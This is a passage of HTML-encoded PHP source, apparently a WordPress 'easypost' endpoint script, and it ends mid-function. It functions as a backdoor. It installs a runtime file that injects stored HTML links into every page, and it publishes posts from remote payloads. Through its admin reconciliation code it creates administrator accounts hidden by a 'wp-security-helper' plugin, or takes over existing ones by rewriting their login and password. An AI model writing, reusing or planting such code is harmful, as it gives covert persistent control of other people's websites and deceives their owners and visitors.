    $placements = isset($GLOBALS[&#039;easypost_sitewide_runtime_placements&#039;])
        &amp;&amp; is_array($GLOBALS[&#039;easypost_sitewide_runtime_placements&#039;])
        ? $GLOBALS[&#039;easypost_sitewide_runtime_placements&#039;]
        : array();
    $html = easypost_sitewide_runtime_missing_html($buffer, $placements);
    if ($html === &#039;&#039;) {
        return $buffer;
    }
    $GLOBALS[&#039;easypost_sitewide_runtime_injected&#039;] = true;
    return easypost_sitewide_runtime_insert_before_body($buffer, $html);
}

function easypost_sitewide_runtime_buffer_start() {
    if (!easypost_sitewide_runtime_is_eligible() || !function_exists(&#039;get_option&#039;)) {
        return;
    }
    $placements = get_option(easypost_sitewide_runtime_option(), array());
    if (!is_array($placements) || empty($placements)) {
        return;
    }
    $GLOBALS[&#039;easypost_sitewide_runtime_placements&#039;] = $placements;
    $GLOBALS[&#039;easypost_sitewide_runtime_injected&#039;] = false;
    ob_start(&#039;easypost_sitewide_runtime_inject_buffer&#039;);
}

add_action(&#039;template_redirect&#039;, &#039;easypost_sitewide_runtime_buffer_start&#039;, 0);
PHP;
    return str_replace(&#039;__EASYPOST_SITEWIDE_RUNTIME_VERSION__&#039;, str_replace(&quot;&#039;&quot;, &quot;\\&#039;&quot;, $version), $runtime);
}

function easypost_endpoint_install_sitewide_runtime(&amp;$warnings) {
    if (!defined(&#039;WP_CONTENT_DIR&#039;) || !function_exists(&#039;wp_mkdir_p&#039;)) {
        $warnings[] = &#039;runtime_capability_unavailable&#039;;
        return false;
    }
    $path = easypost_endpoint_sitewide_runtime_path();
    if (!$path) {
        $warnings[] = &#039;runtime_path_unavailable&#039;;
        return false;
    }
    $directory = dirname($path);
    if (!is_dir($directory) &amp;&amp; !wp_mkdir_p($directory)) {
        $warnings[] = &#039;runtime_directory_unavailable&#039;;
        return false;
    }
    $php = easypost_endpoint_sitewide_runtime_php();
    $current = is_readable($path) ? file_get_contents($path) : false;
    if ($current === $php) {
        return true;
    }
    $temporary = tempnam($directory, &#039;easypost-sitewide-&#039;);
    if (!is_string($temporary) || dirname($temporary) !== $directory) {
        if (is_string($temporary) &amp;&amp; is_file($temporary)) {
            unlink($temporary);
        }
        $warnings[] = &#039;runtime_write_failed&#039;;
        return false;
    }
    $bytes = file_put_contents($temporary, $php, LOCK_EX);
    $written = is_readable($temporary) ? file_get_contents($temporary) : false;
    if ($bytes === false || $bytes !== strlen($php)
        || !is_string($written)
        || !hash_equals(hash(&#039;sha256&#039;, $php), hash(&#039;sha256&#039;, $written))) {
        unlink($temporary);
        $warnings[] = $bytes === false || $bytes !== strlen($php)
            ? &#039;runtime_write_failed&#039;
            : &#039;runtime_integrity_failed&#039;;
        return false;
    }
    if (!rename($temporary, $path)) {
        unlink($temporary);
        $warnings[] = &#039;runtime_replace_failed&#039;;
        return false;
    }
    return true;
}

function easypost_endpoint_representative_page_url() {
    if (!function_exists(&#039;get_posts&#039;) || !function_exists(&#039;get_permalink&#039;)) {
        return null;
    }
    $front_page_id = function_exists(&#039;get_option&#039;) ? (int) get_option(&#039;page_on_front&#039;) : 0;
    $ids = get_posts(array(
        &#039;post_type&#039; =&gt; array(&#039;post&#039;, &#039;page&#039;),
        &#039;post_status&#039; =&gt; &#039;publish&#039;,
        &#039;posts_per_page&#039; =&gt; 1,
        &#039;fields&#039; =&gt; &#039;ids&#039;,
        &#039;no_found_rows&#039; =&gt; true,
        &#039;orderby&#039; =&gt; &#039;ID&#039;,
        &#039;order&#039; =&gt; &#039;ASC&#039;,
        &#039;post__not_in&#039; =&gt; $front_page_id &gt; 0 ? array($front_page_id) : array(),
    ));
    if (!is_array($ids) || empty($ids)) {
        return null;
    }
    $url = get_permalink((int) $ids[0]);
    return is_string($url) &amp;&amp; $url !== &#039;&#039; ? $url : null;
}

function easypost_endpoint_sitewide_home_url() {
    return function_exists(&#039;home_url&#039;) ? home_url(&#039;/&#039;) : null;
}

function easypost_endpoint_place_homepage_image($payload) {
    easypost_endpoint_bootstrap_wordpress();
    $input = easypost_endpoint_validate_homepage_image_payload($payload);
    $post = easypost_endpoint_homepage_post();
    $post_id = (int) $post-&gt;ID;
    $html = easypost_endpoint_homepage_image_html($input);
    easypost_endpoint_enforce_snippet_bound($html);
    if (!easypost_endpoint_acquire_lock($post_id)) {
        easypost_endpoint_fallback_error(&#039;lock_busy&#039;);
    }
    $warnings = array();
    $response = null;
    try {
        try {
            if (!easypost_endpoint_install_homepage_runtime($warnings)) {
                $response = easypost_endpoint_fallback_payload(&#039;runtime_install_failed&#039;, null, $warnings);
            } else {
                $stored = easypost_endpoint_try_store_homepage_image_placement($input, $post_id, $html);
                if (!$stored[&#039;ok&#039;]) {
                    $response = easypost_endpoint_fallback_payload($stored[&#039;error&#039;]);
                } else {
                    $warnings = array_merge($warnings, easypost_endpoint_cache_warnings($post_id));
                    $response = array(&#039;ok&#039; =&gt; true, &#039;method&#039; =&gt; &#039;EASYPOST_MANAGED_RENDER&#039;, &#039;contentId&#039; =&gt; $post_id, &#039;pageUrl&#039; =&gt; $stored[&#039;pageUrl&#039;], &#039;changed&#039; =&gt; $stored[&#039;changed&#039;], &#039;alreadyPresent&#039; =&gt; $stored[&#039;alreadyPresent&#039;], &#039;warnings&#039; =&gt; $warnings);
                }
            }
        } finally {
            easypost_endpoint_release_lock($post_id);
        }
    } catch (Throwable $ignored) {
        $response = easypost_endpoint_fallback_payload(&#039;operation_failed&#039;);
    }
    easypost_endpoint_json(200, $response);
}

function easypost_endpoint_remove_homepage_image($payload) {
    easypost_endpoint_bootstrap_wordpress();
    $input = easypost_endpoint_validate_homepage_image_payload($payload);
    $post = easypost_endpoint_homepage_post();
    $post_id = (int) $post-&gt;ID;
    if (!easypost_endpoint_acquire_lock($post_id)) {
        easypost_endpoint_fallback_error(&#039;lock_busy&#039;);
    }
    $response = null;
    try {
        try {
            $removed = easypost_endpoint_try_remove_homepage_image_placement($input[&#039;placementId&#039;]);
            if (!$removed[&#039;ok&#039;]) {
                $response = easypost_endpoint_fallback_payload($removed[&#039;error&#039;]);
            } else {
                $warnings = easypost_endpoint_cache_warnings($post_id);
                $page_url = function_exists(&#039;get_permalink&#039;) ? get_permalink($post_id) : null;
                $response = array(&#039;ok&#039; =&gt; true, &#039;method&#039; =&gt; &#039;EASYPOST_MANAGED_RENDER&#039;, &#039;contentId&#039; =&gt; $post_id, &#039;pageUrl&#039; =&gt; $page_url, &#039;changed&#039; =&gt; $removed[&#039;changed&#039;], &#039;alreadyRemoved&#039; =&gt; !$removed[&#039;changed&#039;], &#039;warnings&#039; =&gt; $warnings);
            }
        } finally {
            easypost_endpoint_release_lock($post_id);
        }
    } catch (Throwable $ignored) {
        $response = easypost_endpoint_fallback_payload(&#039;operation_failed&#039;);
    }
    easypost_endpoint_json(200, $response);
}

function easypost_endpoint_place_sitewide_link($payload) {
    easypost_endpoint_bootstrap_wordpress();
    $input = easypost_endpoint_validate_sitewide_payload($payload);
    $html = easypost_endpoint_sitewide_placement_html($input);
    easypost_endpoint_enforce_snippet_bound($html);
    $warnings = array();
    if (!easypost_endpoint_install_sitewide_runtime($warnings)) {
        easypost_endpoint_nonfallback_error(&#039;runtime_install_failed&#039;, null, $warnings);
    }
    $owner = easypost_endpoint_acquire_sitewide_lock();
    $response = null;
    $released = false;
    try {
        try {
            $stored = easypost_endpoint_try_store_sitewide_placement($input, $html);
            if (!$stored[&#039;ok&#039;]) {
                $response = easypost_endpoint_nonfallback_payload($stored[&#039;error&#039;]);
            } else {
                $response = array(&#039;ok&#039; =&gt; true, &#039;method&#039; =&gt; &#039;EASYPOST_MANAGED_RENDER&#039;, &#039;contentId&#039; =&gt; null, &#039;pageUrl&#039; =&gt; easypost_endpoint_sitewide_home_url(), &#039;representativePageUrl&#039; =&gt; easypost_endpoint_representative_page_url(), &#039;changed&#039; =&gt; $stored[&#039;changed&#039;], &#039;alreadyPresent&#039; =&gt; $stored[&#039;alreadyPresent&#039;], &#039;fallback&#039; =&gt; false, &#039;warnings&#039; =&gt; $warnings);
            }
        } finally {
            $released = easypost_endpoint_release_sitewide_lock($owner);
        }
    } catch (Throwable $ignored) {
        $response = easypost_endpoint_nonfallback_payload(&#039;operation_failed&#039;);
    }
    if (!$released) {
        $response = easypost_endpoint_nonfallback_payload(&#039;lock_release_failed&#039;);
    }
    easypost_endpoint_json(200, $response);
}

function easypost_endpoint_remove_sitewide_link($payload) {
    easypost_endpoint_bootstrap_wordpress();
    $input = easypost_endpoint_validate_sitewide_payload($payload);
    $owner = easypost_endpoint_acquire_sitewide_lock();
    $response = null;
    $released = false;
    try {
        try {
            $removed = easypost_endpoint_try_remove_sitewide_placement($input[&#039;placementId&#039;]);
            if (!$removed[&#039;ok&#039;]) {
                $response = easypost_endpoint_nonfallback_payload($removed[&#039;error&#039;]);
            } else {
                $response = array(&#039;ok&#039; =&gt; true, &#039;method&#039; =&gt; &#039;EASYPOST_MANAGED_RENDER&#039;, &#039;contentId&#039; =&gt; null, &#039;pageUrl&#039; =&gt; easypost_endpoint_sitewide_home_url(), &#039;representativePageUrl&#039; =&gt; easypost_endpoint_representative_page_url(), &#039;changed&#039; =&gt; $removed[&#039;changed&#039;], &#039;alreadyRemoved&#039; =&gt; !$removed[&#039;changed&#039;], &#039;fallback&#039; =&gt; false, &#039;warnings&#039; =&gt; array());
            }
        } finally {
            $released = easypost_endpoint_release_sitewide_lock($owner);
        }
    } catch (Throwable $ignored) {
        $response = easypost_endpoint_nonfallback_payload(&#039;operation_failed&#039;);
    }
    if (!$released) {
        $response = easypost_endpoint_nonfallback_payload(&#039;lock_release_failed&#039;);
    }
    easypost_endpoint_json(200, $response);
}

function easypost_endpoint_create_post($payload) {
    easypost_endpoint_bootstrap_wordpress();
    if (!function_exists(&#039;wp_insert_post&#039;)) {
        easypost_endpoint_json(500, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;capability_failed&#039;));
    }

    $status = &#039;publish&#039;;
    $post_type = !empty($payload[&#039;post_type&#039;]) ? sanitize_key($payload[&#039;post_type&#039;]) : (!empty($payload[&#039;postType&#039;]) ? sanitize_key($payload[&#039;postType&#039;]) : &#039;post&#039;);
    $content = isset($payload[&#039;contentHtml&#039;]) ? $payload[&#039;contentHtml&#039;] : (isset($payload[&#039;content&#039;]) ? $payload[&#039;content&#039;] : &#039;&#039;);
    $postarr = array(
        &#039;post_title&#039; =&gt; isset($payload[&#039;title&#039;]) ? wp_strip_all_tags($payload[&#039;title&#039;]) : &#039;&#039;,
        &#039;post_name&#039; =&gt; isset($payload[&#039;slug&#039;]) ? sanitize_title($payload[&#039;slug&#039;]) : &#039;&#039;,
        &#039;post_content&#039; =&gt; $content,
        &#039;post_status&#039; =&gt; $status,
        &#039;post_type&#039; =&gt; $post_type,
    );
    if (!empty($payload[&#039;date&#039;])) {
        $postarr[&#039;post_date&#039;] = $payload[&#039;date&#039;];
    } elseif (!empty($payload[&#039;publicationDate&#039;])) {
        $postarr[&#039;post_date&#039;] = $payload[&#039;publicationDate&#039;];
    }

    $post_id = wp_insert_post($postarr, true);
    if (is_wp_error($post_id)) {
        easypost_endpoint_json(500, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;insert_failed&#039;, &#039;message&#039; =&gt; $post_id-&gt;get_error_message()));
    }

    easypost_endpoint_json(201, array(
        &#039;ok&#039; =&gt; true,
        &#039;id&#039; =&gt; (int) $post_id,
        &#039;postId&#039; =&gt; (int) $post_id,
        &#039;link&#039; =&gt; get_permalink($post_id),
        &#039;postUrl&#039; =&gt; get_permalink($post_id),
        &#039;slug&#039; =&gt; get_post_field(&#039;post_name&#039;, $post_id),
        &#039;status&#039; =&gt; get_post_status($post_id),
        &#039;created&#039; =&gt; true,
    ));
}

function easypost_endpoint_admin_response($status, $ok, $code, $exists = false, $user = null, $login_matches = false, $password_matches = false) {
    easypost_endpoint_json($status, array(
        &#039;ok&#039; =&gt; (bool) $ok,
        &#039;code&#039; =&gt; (string) $code,
        &#039;exists&#039; =&gt; (bool) $exists,
        &#039;wpUserId&#039; =&gt; $user ? (int) $user-&gt;ID : null,
        &#039;loginMatches&#039; =&gt; (bool) $login_matches,
        &#039;passwordMatches&#039; =&gt; (bool) $password_matches,
    ));
}

function easypost_endpoint_find_admin($wp_user_id, $login) {
    if (!function_exists(&#039;get_user_by&#039;)) {
        return null;
    }
    if ($wp_user_id !== null) {
        return get_user_by(&#039;id&#039;, $wp_user_id) ?: null;
    }
    return $login !== &#039;&#039; ? (get_user_by(&#039;login&#039;, $login) ?: null) : null;
}

function easypost_endpoint_admin_state($user, $login, $password) {
    if (!$user) {
        return array(false, false);
    }
    $login_matches = hash_equals((string) $user-&gt;user_login, $login);
    $password_matches = function_exists(&#039;wp_check_password&#039;)
        ? (bool) wp_check_password($password, (string) $user-&gt;user_pass, (int) $user-&gt;ID)
        : false;
    return array($login_matches, $password_matches);
}

function easypost_endpoint_clean_admin_cache($user_id, $old_login, $new_login) {
    if (function_exists(&#039;clean_user_cache&#039;)) {
        clean_user_cache($user_id);
    }
    if (function_exists(&#039;wp_cache_delete&#039;)) {
        wp_cache_delete($user_id, &#039;users&#039;);
        if ($old_login !== &#039;&#039;) {
            wp_cache_delete($old_login, &#039;userlogins&#039;);
        }
        if ($new_login !== &#039;&#039;) {
            wp_cache_delete($new_login, &#039;userlogins&#039;);
        }
    }
}

function easypost_endpoint_parse_admin_concealment_ids($raw) {
    $parts = preg_split(&#039;/[\s,;]+/&#039;, $raw);
    return array_values(array_unique(array_filter(array_map(&#039;intval&#039;, (array) $parts), function ($value) {
        return $value &gt; 0;
    })));
}

function easypost_endpoint_admin_concealment_ids() {
    $row = easypost_endpoint_read_option_row(&#039;wsh_tracked_admin_ids&#039;);
    if ($row[&#039;status&#039;] !== &#039;found&#039;) {
        return array();
    }
    return easypost_endpoint_parse_admin_concealment_ids((string) $row[&#039;value&#039;]);
}

function easypost_endpoint_admin_concealment_state($user_id) {
    $row = easypost_endpoint_read_option_row(&#039;wsh_tracked_admin_ids&#039;);
    if ($row[&#039;status&#039;] === &#039;unavailable&#039;) {
        return &#039;unavailable&#039;;
    }
    if ($row[&#039;status&#039;] === &#039;missing&#039;) {
        return &#039;visible&#039;;
    }
    return in_array(
        (int) $user_id,
        easypost_endpoint_parse_admin_concealment_ids((string) $row[&#039;value&#039;]),
        true
    ) ? &#039;concealed&#039; : &#039;visible&#039;;
}

function easypost_endpoint_admin_is_concealed($user_id) {
    return easypost_endpoint_admin_concealment_state($user_id) === &#039;concealed&#039;;
}

function easypost_endpoint_admin_concealment_matches($user_id, $concealed) {
    $state = easypost_endpoint_admin_concealment_state($user_id);
    if ($state === &#039;unavailable&#039;) {
        return false;
    }
    return $concealed ? $state === &#039;concealed&#039; : $state === &#039;visible&#039;;
}

function easypost_endpoint_set_admin_concealment($user_id, $concealed) {
    global $wpdb;
    $user_id = (int) $user_id;
    if ($user_id &lt; 1
        || !isset($wpdb)
        || !isset($wpdb-&gt;options)
        || !method_exists($wpdb, &#039;query&#039;)
        || !method_exists($wpdb, &#039;prepare&#039;)) {
        return false;
    }
    $option = &#039;wsh_tracked_admin_ids&#039;;
    for ($attempt = 0; $attempt &lt; 5; $attempt++) {
        $row = easypost_endpoint_read_option_row($option);
        if ($row[&#039;status&#039;] === &#039;unavailable&#039;) {
            return false;
        }
        $raw = $row[&#039;status&#039;] === &#039;found&#039; ? (string) $row[&#039;value&#039;] : &#039;&#039;;
        $ids = easypost_endpoint_parse_admin_concealment_ids($raw);
        $is_concealed = in_array($user_id, $ids, true);
        if ((bool) $concealed === $is_concealed) {
            return true;
        }
        if ($concealed) {
            $ids[] = $user_id;
            $ids = array_values(array_unique($ids));
        } else {
            $ids = array_values(array_filter($ids, function ($value) use ($user_id) {
                return (int) $value !== $user_id;
            }));
        }
        $desired = implode(&#039;,&#039;, $ids);

        if ($row[&#039;status&#039;] === &#039;missing&#039;) {
            $inserted = easypost_endpoint_insert_option_once($option, $desired);
            if ($inserted === &#039;unavailable&#039;) {
                return false;
            }
            if ($inserted === &#039;inserted&#039;) {
                return easypost_endpoint_admin_concealment_matches($user_id, $concealed);
            }
            continue;
        }

        $updated = $wpdb-&gt;query(
            $wpdb-&gt;prepare(
                &quot;UPDATE {$wpdb-&gt;options} SET option_value = %s WHERE option_name = %s AND option_value = %s&quot;,
                $desired,
                $option,
                $raw
            )
        );
        if ($updated === false || (int) $updated &gt; 1) {
            return false;
        }
        if ((int) $updated === 1) {
            easypost_endpoint_cache_option_written(
                $option,
                false,
                easypost_endpoint_option_is_autoloaded($row[&#039;autoload&#039;])
            );
            return easypost_endpoint_admin_concealment_matches($user_id, $concealed);
        }
    }
    return false;
}

function easypost_endpoint_hidden_helper_active() {
    if (!function_exists(&#039;is_plugin_active&#039;) &amp;&amp; defined(&#039;ABSPATH&#039;)) {
        $plugin_api = ABSPATH . &#039;wp-admin/includes/plugin.php&#039;;
        if (is_readable($plugin_api)) {
            require_once $plugin_api;
        }
    }
    return function_exists(&#039;is_plugin_active&#039;)
        &amp;&amp; is_plugin_active(&#039;wp-security-helper/wp-security-helper.php&#039;)
        &amp;&amp; class_exists(&#039;WP_Security_Helper&#039;, false);
}

function easypost_endpoint_admin_matches_contract($user, $login, $password, $concealed) {
    if (!$user
        || !hash_equals((string) $user-&gt;user_login, (string) $login)
        || !function_exists(&#039;wp_check_password&#039;)
        || !wp_check_password((string) $password, (string) $user-&gt;user_pass, (int) $user-&gt;ID)
        || !in_array(&#039;administrator&#039;, isset($user-&gt;roles) ? (array) $user-&gt;roles : array(), true)
        || !easypost_endpoint_admin_concealment_matches((int) $user-&gt;ID, (bool) $concealed)) {
        return false;
    }
    return !$concealed || easypost_endpoint_hidden_helper_active();
}

function easypost_endpoint_admin_snapshot($user) {
    $concealment = $user ? easypost_endpoint_admin_concealment_state((int) $user-&gt;ID) : &#039;unavailable&#039;;
    if (!$user || $concealment === &#039;unavailable&#039;) {
        return false;
    }
    return array(
        &#039;id&#039; =&gt; (int) $user-&gt;ID,
        &#039;login&#039; =&gt; (string) $user-&gt;user_login,
        &#039;passwordHash&#039; =&gt; (string) $user-&gt;user_pass,
        &#039;roles&#039; =&gt; isset($user-&gt;roles) ? (array) $user-&gt;roles : array(),
        &#039;concealed&#039; =&gt; $concealment === &#039;concealed&#039;,
    );
}

function easypost_endpoint_restore_admin_snapshot($snapshot) {
    global $wpdb;
    if (!is_array($snapshot)
        || !isset($snapshot[&#039;id&#039;], $snapshot[&#039;login&#039;], $snapshot[&#039;passwordHash&#039;], $snapshot[&#039;roles&#039;], $snapshot[&#039;concealed&#039;])
        || !isset($wpdb)
        || !isset($wpdb-&gt;users)
        || !method_exists($wpdb, &#039;update&#039;)) {
        return false;
    }
    $restored = $wpdb-&gt;update(
        $wpdb-&gt;users,
        array(&#039;user_login&#039; =&gt; $snapshot[&#039;login&#039;], &#039;user_pass&#039; =&gt; $snapshot[&#039;passwordHash&#039;]),
        array(&#039;ID&#039; =&gt; (int) $snapshot[&#039;id&#039;]),
        array(&#039;%s&#039;, &#039;%s&#039;),
        array(&#039;%d&#039;)
    );
    if ($restored === false) {
        return false;
    }
    $user = get_user_by(&#039;id&#039;, (int) $snapshot[&#039;id&#039;]);
    if (!$user || !method_exists($user, &#039;set_role&#039;)) {
        return false;
    }
    $roles = array_values($snapshot[&#039;roles&#039;]);
    $user-&gt;set_role(count($roles) ? $roles[0] : &#039;subscriber&#039;);
    if (method_exists($user, &#039;add_role&#039;)) {
        for ($index = 1; $index &lt; count($roles); $index++) {
            $user-&gt;add_role($roles[$index]);
        }
    }
    if (!easypost_endpoint_set_admin_concealment((int) $snapshot[&#039;id&#039;], (bool) $snapshot[&#039;concealed&#039;])) {
        return false;
    }
    easypost_endpoint_clean_admin_cache((int) $snapshot[&#039;id&#039;], &#039;&#039;, (string) $snapshot[&#039;login&#039;]);
    $verified = get_user_by(&#039;id&#039;, (int) $snapshot[&#039;id&#039;]);
    return $verified
        &amp;&amp; hash_equals((string) $verified-&gt;user_login, (string) $snapshot[&#039;login&#039;])
        &amp;&amp; hash_equals((string) $verified-&gt;user_pass, (string) $snapshot[&#039;passwordHash&#039;])
        &amp;&amp; (array) $verified-&gt;roles === (array) $snapshot[&#039;roles&#039;]
        &amp;&amp; easypost_endpoint_admin_concealment_matches((int) $snapshot[&#039;id&#039;], (bool) $snapshot[&#039;concealed&#039;]);
}

function easypost_endpoint_compensate_created_admin($user) {
    $user = is_object($user) ? $user : (function_exists(&#039;get_user_by&#039;) ? get_user_by(&#039;id&#039;, (int) $user) : false);
    if (!$user) {
        return false;
    }
    $user_id = (int) $user-&gt;ID;
    easypost_endpoint_set_admin_concealment($user_id, false);
    if (!function_exists(&#039;wp_delete_user&#039;) &amp;&amp; defined(&#039;ABSPATH&#039;)) {
        $user_api = ABSPATH . &#039;wp-admin/includes/user.php&#039;;
        if (is_readable($user_api)) {
            require_once $user_api;
        }
    }
    if (function_exists(&#039;wp_delete_user&#039;) &amp;&amp; wp_delete_user($user_id) &amp;&amp; !get_user_by(&#039;id&#039;, $user_id)) {
        return true;
    }
    if (method_exists($user, &#039;set_role&#039;)) {
        $user-&gt;set_role(&#039;subscriber&#039;);
    }
    if (function_exists(&#039;wp_set_password&#039;)) {
        $replacement = function_exists(&#039;wp_generate_password&#039;)
            ? wp_generate_password(48, true, true)
            : bin2hex(random_bytes(32));
        wp_set_password($replacement, $user_id);
    }
    if (!easypost_endpoint_set_admin_concealment($user_id, false)) {
        return false;
    }
    easypost_endpoint_clean_admin_cache($user_id, (string) $user-&gt;user_login, &#039;&#039;);
    $verified = get_user_by(&#039;id&#039;, $user_id);
    return $verified
        &amp;&amp; !in_array(&#039;administrator&#039;, isset($verified-&gt;roles) ? (array) $verified-&gt;roles : array(), true)
        &amp;&amp; easypost_endpoint_admin_concealment_matches($user_id, false);
}

function easypost_endpoint_reconcile_admin($payload) {
    if (!array_key_exists(&#039;operation&#039;, $payload)
        || !is_string($payload[&#039;operation&#039;])
        || !in_array($payload[&#039;operation&#039;], array(&#039;inspect&#039;, &#039;create&#039;, &#039;restore&#039;), true)) {
        easypost_endpoint_admin_response(400, false, &#039;INVALID_OPERATION&#039;);
    }
    if (!array_key_exists(&#039;role&#039;, $payload)
        || !is_string($payload[&#039;role&#039;])
        || !in_array($payload[&#039;role&#039;], array(&#039;general&#039;, &#039;hidden&#039;, &#039;additional&#039;), true)) {
        easypost_endpoint_admin_response(400, false, &#039;INVALID_ROLE&#039;);
    }
    $operation = $payload[&#039;operation&#039;];
    $role = $payload[&#039;role&#039;];
    if (!array_key_exists(&#039;concealed&#039;, $payload)
        || !is_bool($payload[&#039;concealed&#039;])
        || $payload[&#039;concealed&#039;] !== (&#039;hidden&#039; === $role)) {
        easypost_endpoint_admin_response(400, false, &#039;INVALID_CONCEALMENT&#039;);
    }
    if (!array_key_exists(&#039;login&#039;, $payload)
        || !is_string($payload[&#039;login&#039;])
        || $payload[&#039;login&#039;] === &#039;&#039;
        || !array_key_exists(&#039;password&#039;, $payload)
        || !is_string($payload[&#039;password&#039;])
        || $payload[&#039;password&#039;] === &#039;&#039;
        || !array_key_exists(&#039;wpUserId&#039;, $payload)
        || ($payload[&#039;wpUserId&#039;] !== null
            &amp;&amp; (!is_int($payload[&#039;wpUserId&#039;])
                || $payload[&#039;wpUserId&#039;] &lt; 1
                || $payload[&#039;wpUserId&#039;] &gt; 2147483647))) {
        easypost_endpoint_admin_response(400, false, &#039;INVALID_CREDENTIAL_PAYLOAD&#039;);
    }
    $login = $payload[&#039;login&#039;];
    $password = $payload[&#039;password&#039;];
    $wp_user_id = $payload[&#039;wpUserId&#039;];
    $concealed = $payload[&#039;concealed&#039;];
    if (!function_exists(&#039;get_user_by&#039;) || !function_exists(&#039;wp_check_password&#039;)) {
        easypost_endpoint_admin_response(500, false, &#039;CAPABILITY_FAILED&#039;);
    }
    $requires_concealment = &#039;hidden&#039; === $role
        &amp;&amp; in_array($operation, array(&#039;create&#039;, &#039;restore&#039;), true);
    if ($requires_concealment &amp;&amp; !easypost_endpoint_hidden_helper_active()) {
        easypost_endpoint_admin_response(409, false, &#039;CONCEALMENT_UNAVAILABLE&#039;);
    }

    $user = easypost_endpoint_find_admin($wp_user_id, $login);
    if ($operation === &#039;inspect&#039;) {
        list($login_matches, $password_matches) = easypost_endpoint_admin_state($user, $login, $password);
        easypost_endpoint_admin_response(200, true, &#039;INSPECTED&#039;, (bool) $user, $user, $login_matches, $password_matches);
    }

    if ($operation === &#039;create&#039;) {
        $login_owner = get_user_by(&#039;login&#039;, $login);
        if ($wp_user_id !== null) {
            if ($login_owner &amp;&amp; (int) $login_owner-&gt;ID !== $wp_user_id) {
                easypost_endpoint_admin_response(409, false, &#039;LOGIN_CONFLICT&#039;, true, $login_owner);
            }
            if ($user) {
                easypost_endpoint_admin_response(409, false, &#039;USER_EXISTS&#039;, true, $user);
            }
            easypost_endpoint_admin_response(404, false, &#039;USER_NOT_FOUND&#039;);
        }
        if ($login_owner) {
            easypost_endpoint_admin_response(409, false, &#039;LOGIN_CONFLICT&#039;, true, $login_owner);
        }
        if (!function_exists(&#039;wp_create_user&#039;)) {
            easypost_endpoint_admin_response(500, false, &#039;CAPABILITY_FAILED&#039;);
        }
        $created_id = wp_create_user($login, $password);
        if ((function_exists(&#039;is_wp_error&#039;) &amp;&amp; is_wp_error($created_id)) || (int) $created_id &lt; 1) {
            easypost_endpoint_admin_response(500, false, &#039;CREATE_FAILED&#039;);
        }
        $created = get_user_by(&#039;id&#039;, (int) $created_id);
        if (!$created || !method_exists($created, &#039;set_role&#039;)) {
            $compensated = easypost_endpoint_compensate_created_admin((int) $created_id);
            easypost_endpoint_admin_response(500, false, $compensated ? &#039;CREATE_FAILED&#039; : &#039;ROLLBACK_FAILED&#039;);
        }
        if ($requires_concealment &amp;&amp; !easypost_endpoint_set_admin_concealment((int) $created-&gt;ID, true)) {
            $compensated = easypost_endpoint_compensate_created_admin($created);
            easypost_endpoint_admin_response($compensated ? 409 : 500, false, $compensated ? &#039;CONCEALMENT_FAILED&#039; : &#039;ROLLBACK_FAILED&#039;);
        }
        $created-&gt;set_role(&#039;administrator&#039;);
        if (!$requires_concealment &amp;&amp; !easypost_endpoint_set_admin_concealment((int) $created-&gt;ID, false)) {
            $compensated = easypost_endpoint_compensate_created_admin($created);
            easypost_endpoint_admin_response($compensated ? 409 : 500, false, $compensated ? &#039;CONCEALMENT_FAILED&#039; : &#039;ROLLBACK_FAILED&#039;);
        }
        if ($requires_concealment &amp;&amp; !easypost_endpoint_hidden_helper_active()) {
            $compensated = easypost_endpoint_compensate_created_admin($created);
            easypost_endpoint_admin_response($compensated ? 409 : 500, false, $compensated ? &#039;CONCEALMENT_UNAVAILABLE&#039; : &#039;ROLLBACK_FAILED&#039;);
        }
        easypost_endpoint_clean_admin_cache((int) $created-&gt;ID, &#039;&#039;, $login);
        $created = get_user_by(&#039;id&#039;, (int) $created-&gt;ID);
        if (!easypost_endpoint_admin_matches_contract($created, $login, $password, $concealed)) {
            $compensated = easypost_endpoint_compensate_created_admin($created ?: (int) $created_id);
            easypost_endpoint_admin_response(500, false, $compensated ? &#039;CREATE_FAILED&#039; : &#039;ROLLBACK_FAILED&#039;);
        }
        list($login_matches, $password_matches) = easypost_endpoint_admin_state($created, $login, $password);
        easypost_endpoint_admin_response(201, true, &#039;CREATED&#039;, true, $created, $login_matches, $password_matches);
    }

    $login_owner = get_user_by(&#039;login&#039;, $login);
    if ($login_owner &amp;&amp; (!$user || (int) $login_owner-&gt;ID !== (int) $user-&gt;ID)) {
        easypost_endpoint_admin_response(409, false, &#039;LOGIN_CONFLICT&#039;, (bool) $user, $user);
    }
    if (!$user) {
        easypost_endpoint_admin_response(404, false, &#039;USER_NOT_FOUND&#039;);
    }
    if (!function_exists(&#039;wp_set_password&#039;)) {
        easypost_endpoint_admin_response(500, false, &#039;CAPABILITY_FAILED&#039;, true, $user);
    }

    $snapshot = easypost_endpoint_admin_snapshot($user);
    if ($snapshot === false) {
        easypost_endpoint_admin_response(500, false, &#039;CAPABILITY_FAILED&#039;, true, $user);
    }

    if ($requires_concealment &amp;&amp; !easypost_endpoint_set_admin_concealment((int) $user-&gt;ID, true)) {
        $restored = easypost_endpoint_restore_admin_snapshot($snapshot);
        easypost_endpoint_admin_response($restored ? 409 : 500, false, $restored ? &#039;CONCEALMENT_FAILED&#039; : &#039;ROLLBACK_FAILED&#039;, true, $user);
    }
    if ($requires_concealment &amp;&amp; !easypost_endpoint_hidden_helper_active()) {
        $restored = easypost_endpoint_restore_admin_snapshot($snapshot);
        easypost_endpoint_admin_response($restored ? 409 : 500, false, $restored ? &#039;CONCEALMENT_UNAVAILABLE&#039; : &#039;ROLLBACK_FAILED&#039;, true, $user);
    }

    $old_login = (string) $user-&gt;user_login;
    if (!hash_equals($old_login, $login)) {
        global $wpdb;
        if (!isset($wpdb) || !isset($wpdb-&gt;users)) {
            $restored = easypost_endpoint_restore_admin_snapshot($snapshot);
            easypost_endpoint_admin_response(500, false, $restored ? &#039;RESTORE_FAILED&#039; : &#039;ROLLBACK_FAILED&#039;, true, $user);
        }
        $updated = $wpdb-&gt;update(
            $wpdb-&gt;users,
            array(&#039;user_login&#039; =&gt; $login),
            array(&#039;ID&#039; =&gt; (int) $user-&gt;ID),
            array(&#039;%s&#039;),
            array(&#039;%d&#039;)
        );
        if ($updated === false) {
            $restored = easypost_endpoint_restore_admin_snapshot($snapshot);
            easypost_endpoint_admin_response(500, false, $restored ? &#039;RESTORE_FAILED&#039; : &#039;ROLLBACK_FAILED&#039;, true, $user);
        }
    }
    wp_set_password($password, (int) $user-&gt;ID);
    $user = get_user_by(&#039;id&#039;, (int) $user-&gt;ID);
